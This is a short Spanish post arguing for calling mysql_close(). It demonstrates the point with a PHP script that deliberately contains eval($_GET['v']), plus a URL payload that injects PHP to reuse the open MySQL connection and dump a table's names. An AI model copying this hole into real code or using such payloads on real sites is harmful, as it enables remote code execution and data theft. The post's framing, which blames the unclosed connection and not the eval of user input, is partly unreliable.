Buenas, hace poco estaba leyendo un White-paper, que mostraba la importancia de la función mysql_close(), que sirve para cerrar conexiones mysql no-persistente, algunas personas no lo usan ya que la conexión se cierra al final del script, otras personas no le dan importancia...
Bueno para entender como funciona, que mejor que un ejemplo:
Este es el código vulnerable:
<?php
$connect = mysql_connect('127.0.0.1','root','password');
mysql_select_db('ejemplo',$connect);
if(mysql_query('select * from nombres where id=1;')){
echo "Consulta ejecutada";
}else{
echo "No se pudo ejecutar la consulta<br><br>";
}
if(isset($_GET['v']))
{
eval($_GET['v']);
}
?>
En este caso como no se ah cerrado la conexión mysql no-persistente y tampoco ah finalisado el script puedo hacer uso de la conexión mysql...
http://127.0.0.1/script.php?v=$sql = mysql_query('select * from nombres');while ($row = mysql_fetch_assoc($sql)){ echo "<br>".$row['nombre'];}
Salida:
Consulta ejecutada
edwin
jose
jesus
Saludos.
Referencias:
Hijacking
MySQL
9:14